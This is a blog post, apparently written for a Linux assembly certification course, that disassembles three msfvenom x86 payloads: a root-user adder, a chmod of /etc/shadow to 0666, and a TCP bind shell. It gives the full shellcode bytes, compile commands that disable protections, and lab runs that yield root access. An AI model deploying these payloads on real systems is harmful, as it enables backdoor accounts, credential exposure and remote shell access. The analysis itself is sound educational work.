Disecting Msfvenom Shellcode - Linux x86

10 minute read

Introduction

In this post, we will analyze three samples of Linux x86 based shellcode generated by msfvenom using different tools. Now before going into the next section here’s the list of what is available to us.

root@ubuntu:~# msfvenom -l payloads | grep linux/x86
    linux/x86/adduser                                   Create a new user with UID 0
    linux/x86/chmod                                     Runs chmod on specified file with specified mode
    linux/x86/exec                                      Execute an arbitrary command
    linux/x86/meterpreter/bind_ipv6_tcp                 Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/meterpreter/bind_ipv6_tcp_uuid            Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/meterpreter/bind_nonx_tcp                 Inject the mettle server payload (staged). Listen for a connection
    linux/x86/meterpreter/bind_tcp                      Inject the mettle server payload (staged). Listen for a connection (Linux x86)
    linux/x86/meterpreter/bind_tcp_uuid                 Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
    linux/x86/meterpreter/find_tag                      Inject the mettle server payload (staged). Use an established connection
    linux/x86/meterpreter/reverse_ipv6_tcp              Inject the mettle server payload (staged). Connect back to attacker over IPv6
    linux/x86/meterpreter/reverse_nonx_tcp              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp_uuid              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter_reverse_http                  Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/meterpreter_reverse_https                 Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/meterpreter_reverse_tcp                   Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/metsvc_bind_tcp                           Stub payload for interacting with a Meterpreter Service
    linux/x86/metsvc_reverse_tcp                        Stub payload for interacting with a Meterpreter Service
    linux/x86/read_file                                 Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
    linux/x86/shell/bind_ipv6_tcp                       Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/shell/bind_ipv6_tcp_uuid                  Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/shell/bind_nonx_tcp                       Spawn a command shell (staged). Listen for a connection
    linux/x86/shell/bind_tcp                            Spawn a command shell (staged). Listen for a connection (Linux x86)
    linux/x86/shell/bind_tcp_uuid                       Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
    linux/x86/shell/find_tag                            Spawn a command shell (staged). Use an established connection
    linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
    linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp_uuid                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell_bind_ipv6_tcp                       Listen for a connection over IPv6 and spawn a command shell
    linux/x86/shell_bind_tcp                            Listen for a connection and spawn a command shell
    linux/x86/shell_bind_tcp_random_port                Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
    linux/x86/shell_find_port                           Spawn a shell on an established connection
    linux/x86/shell_find_tag                            Spawn a shell on an established connection (proxy/nat safe)
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
root@ubuntu:~#

Shellcode I

The first shellcode we’ll look at is adduser, the following are the options needed by the payload.

root@ubuntu:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape <mmiller@hick.org>
    vlad902 <vlad902@gmail.com>
    spoonm <spoonm@no$email.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0

Generating shellcode.

root@ubuntu:~# msfvenom -p linux/x86/adduser USER=hax0r PASS=falafelislife -f c -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 92 bytes
Final size of c file: 419 bytes
unsigned char shellcode[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x61"
"\x78\x30\x72\x3a\x41\x7a\x45\x56\x62\x31\x4a\x43\x50\x47\x31"
"\x49\x51\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
"\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58"
"\xcd\x80";
root@ubuntu:~# 

And then compile and test.

root@ubuntu:~# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@ubuntu:~# ./shellcode 
root@ubuntu:~# cat /etc/passwd | grep hax0r
hax0r:AzEVb1JCPG1IQ:0:0::/:/bin/sh
root@ubuntu:~#

Now we use Ndisasm to dump assembly code.

root@ubuntu:~# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x23\x00\x00\x00\x68\x61\x78\x30\x72\x3a\x41\x7a\x45\x56\x62\x31\x4a\x43\x50\x47\x31\x49\x51\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E823000000        call dword 0x4e
0000002B  6861783072        push dword 0x72307861
00000030  3A417A            cmp al,[ecx+0x7a]
00000033  45                inc ebp
00000034  56                push esi
00000035  62                db 0x62
00000036  314A43            xor [edx+0x43],ecx
00000039  50                push eax
0000003A  47                inc edi
0000003B  314951            xor [ecx+0x51],ecx
0000003E  3A30              cmp dh,[eax]
00000040  3A30              cmp dh,[eax]
00000042  3A3A              cmp bh,[edx]
00000044  2F                das
00000045  3A2F              cmp ch,[edi]
00000047  62696E            bound ebp,[ecx+0x6e]
0000004A  2F                das
0000004B  7368              jnc 0xb5
0000004D  0A598B            or bl,[ecx-0x75]
00000050  51                push ecx
00000051  FC                cld
00000052  6A04              push byte +0x4
00000054  58                pop eax
00000055  CD80              int 0x80
00000057  6A01              push byte +0x1
00000059  58                pop eax
0000005A  CD80              int 0x80
root@ubuntu:~#

Let’s analyze the code line by line using the comments section.

syscall reference setreuid(), open(), write(), exit().

Shellcode II

The second shellcode we’re going to look at is chmod, the following are the options that needs to be feed into the payload.

root@ubuntu:~# msfvenom -p linux/x86/chmod --payload-options
Options for payload/linux/x86/chmod:


       Name: Linux Chmod
     Module: payload/linux/x86/chmod
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    kris katterjohn <katterjohn@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Description:
  Runs chmod on specified file with specified mode

Generating shellcode using default options.

root@ubuntu:~# msfvenom -p linux/x86/chmod -f c -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of c file: 183 bytes
unsigned char shellcode[] = 
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f"
"\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd"
"\x80\x6a\x01\x58\xcd\x80";
root@ubuntu:~#

Compile and test.

root@ubuntu:~# ls -la /etc/shadow
-rw------- 1 root shadow 1317 Jan 23 09:47 /etc/shadow
root@ubuntu:~# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@ubuntu:~# ./shellcode 
root@ubuntu:~# ls -la /etc/shadow
-rw-rw-rw- 1 root shadow 1317 Jan 23 09:47 /etc/shadow
root@ubuntu:~#

Use gdb with peda to dump assembly code.

root@ubuntu:~# gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
gdb-peda$ set disassembly-flavor intel
gdb-peda$ break *&shellcode
Breakpoint 1 at 0x804a040
gdb-peda$ run
Starting program: /root/shellcode 

[----------------------------------registers-----------------------------------]
EAX: 0x804a040 --> 0x580f6a99 
EBX: 0x0 
ECX: 0xbfffee90 --> 0x1 
EDX: 0xbfffeeb4 --> 0x0 
ESI: 0xb7fb9000 --> 0x1b1db0 
EDI: 0xb7fb9000 --> 0x1b1db0 
EBP: 0xbfffee78 --> 0x0 
ESP: 0xbfffee5c --> 0x80483f8 (<main+29>:	nop)
EIP: 0x804a040 --> 0x580f6a99
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804a03a:	add    BYTE PTR [eax],al
   0x804a03c:	add    BYTE PTR [eax],al
   0x804a03e:	add    BYTE PTR [eax],al
=> 0x804a040 <shellcode>:	cdq    
   0x804a041 <shellcode+1>:	push   0xf
   0x804a043 <shellcode+3>:	pop    eax
   0x804a044 <shellcode+4>:	push   edx
   0x804a045 <shellcode+5>:	call   0x804a056 <shellcode+22>
[------------------------------------stack-------------------------------------]
0000| 0xbfffee5c --> 0x80483f8 (<main+29>:	nop)
0004| 0xbfffee60 --> 0x1 
0008| 0xbfffee64 --> 0xbfffef24 --> 0xbffff120 ("/root/shellcode")
0012| 0xbfffee68 --> 0xbfffef2c --> 0xbffff130 ("XDG_VTNR=7")
0016| 0xbfffee6c --> 0x804a040 --> 0x580f6a99 
0020| 0xbfffee70 --> 0xb7fb93dc --> 0xb7fba1e0 --> 0x0 
0024| 0xbfffee74 --> 0xbfffee90 --> 0x1 
0028| 0xbfffee78 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804a040 in shellcode ()
gdb-peda$ disassemble $eip, +35
Dump of assembler code from 0x804a040 to 0x804a063:
=> 0x0804a040 <shellcode+0>:	cdq    
   0x0804a041 <shellcode+1>:	push   0xf
   0x0804a043 <shellcode+3>:	pop    eax
   0x0804a044 <shellcode+4>:	push   edx
   0x0804a045 <shellcode+5>:	call   0x804a056 <shellcode+22>
   0x0804a04a <shellcode+10>:	das    
   0x0804a04b <shellcode+11>:	gs je  0x804a0b1
   0x0804a04e <shellcode+14>:	das    
   0x0804a04f <shellcode+15>:	jae    0x804a0b9
   0x0804a051 <shellcode+17>:	popa   
   0x0804a052 <shellcode+18>:	outs   dx,DWORD PTR fs:[esi]
   0x0804a054 <shellcode+20>:	ja     0x804a056 <shellcode+22>
   0x0804a056 <shellcode+22>:	pop    ebx
   0x0804a057 <shellcode+23>:	push   0x1b6
   0x0804a05c <shellcode+28>:	pop    ecx
   0x0804a05d <shellcode+29>:	int    0x80
   0x0804a05f <shellcode+31>:	push   0x1
   0x0804a061 <shellcode+33>:	pop    eax
   0x0804a062 <shellcode+34>:	int    0x80
End of assembler dump.

Analyze code line by line using the comments section.

syscall reference chmod() and exit().

Shellcode III

The third and last shellcode we’re going to dissect is shell_bind_tcp, let’s check payload options:

root@ubuntu:~# msfvenom -p linux/x86/shell_bind_tcp --payload-options
Options for payload/linux/x86/shell_bind_tcp:


       Name: Linux Command Shell, Bind TCP Inline
     Module: payload/linux/x86/shell_bind_tcp
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 78
       Rank: Normal

Provided by:
    Ramon de C Valle <rcvalle@metasploit.com>

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LPORT  4444             yes       The listen port
RHOST                   no        The target address

Description:
  Listen for a connection and spawn a command shell

Generating shellcode.

root@ubuntu:~# msfvenom -p linux/x86/shell_bind_tcp RHOST=127.0.0.1 -f c -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 360 bytes
unsigned char shellcode[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
root@ubuntu:~#

Compile and test.

root@ubuntu:~# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@ubuntu:~# ./shellcode 
^Z
[2]+  Stopped                 ./shellcode
root@ubuntu:~# bg
[2]+ ./shellcode &
root@ubuntu:~# nc -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)

Use libemu to dump assembly code.

root@ubuntu:~# msfvenom -p linux/x86/shell_bind_tcp RHOST=127.0.0.1 -f raw | sctest -S -s 100000 -vvv
verbose = 3
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
*
s
n
i
p
*
int socket (
     int domain = 2;
     int type = 1;
     int protocol = 0;
) =  14;
int bind (
     int sockfd = 14;
     struct sockaddr_in * my_addr = 0x00416fc2 => 
         struct   = {
             short sin_family = 2;
             unsigned short sin_port = 23569 (port=4444);
             struct in_addr sin_addr = {
                 unsigned long s_addr = 0 (host=0.0.0.0);
             };
             char sin_zero = "       ";
         };
     int addrlen = 16;
) =  0;
int listen (
     int s = 14;
     int backlog = 0;
) =  0;
int accept (
     int sockfd = 14;
     sockaddr_in * addr = 0x00000000 => 
         none;
     int addrlen = 0x00000010 => 
         none;
) =  19;
int dup2 (
     int oldfd = 19;
     int newfd = 14;
) =  14;
int dup2 (
     int oldfd = 19;
     int newfd = 13;
) =  13;
int dup2 (
     int oldfd = 19;
     int newfd = 12;
) =  12;
int dup2 (
     int oldfd = 19;
     int newfd = 11;
) =  11;
int dup2 (
     int oldfd = 19;
     int newfd = 10;
) =  10;
int dup2 (
     int oldfd = 19;
     int newfd = 9;
) =  9;
int dup2 (
     int oldfd = 19;
     int newfd = 8;
) =  8;
int dup2 (
     int oldfd = 19;
     int newfd = 7;
) =  7;
int dup2 (
     int oldfd = 19;
     int newfd = 6;
) =  6;
int dup2 (
     int oldfd = 19;
     int newfd = 5;
) =  5;
int dup2 (
     int oldfd = 19;
     int newfd = 4;
) =  4;
int dup2 (
     int oldfd = 19;
     int newfd = 3;
) =  3;
int dup2 (
     int oldfd = 19;
     int newfd = 2;
) =  2;
int dup2 (
     int oldfd = 19;
     int newfd = 1;
) =  1;
int dup2 (
     int oldfd = 19;
     int newfd = 0;
) =  0;
int execve (
     const char * dateiname = 0x00416fb2 => 
           = "/bin//sh";
     const char * argv[] = [
           = 0x00416faa => 
               = 0x00416fb2 => 
                   = "/bin//sh";
           = 0x00000000 => 
             none;
     ];
     const char * envp[] = 0x00000000 => 
         none;
) =  0;

Analyze code line by line using the comments section.

syscall reference socketcall(), dup2(), and execute().

Closing Thoughts

Stepping through msfvenom shellcode taught me few behind the scene tricks, also it cleared my doubts in terms of how some of the commands actually work and hope you learned something too! Feel free to contact me for questions via twitter @ihack4falafel.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1115

Github Repo: https://github.com/ihack4falafel/SLAE32/tree/master/Assignment%205

Updated: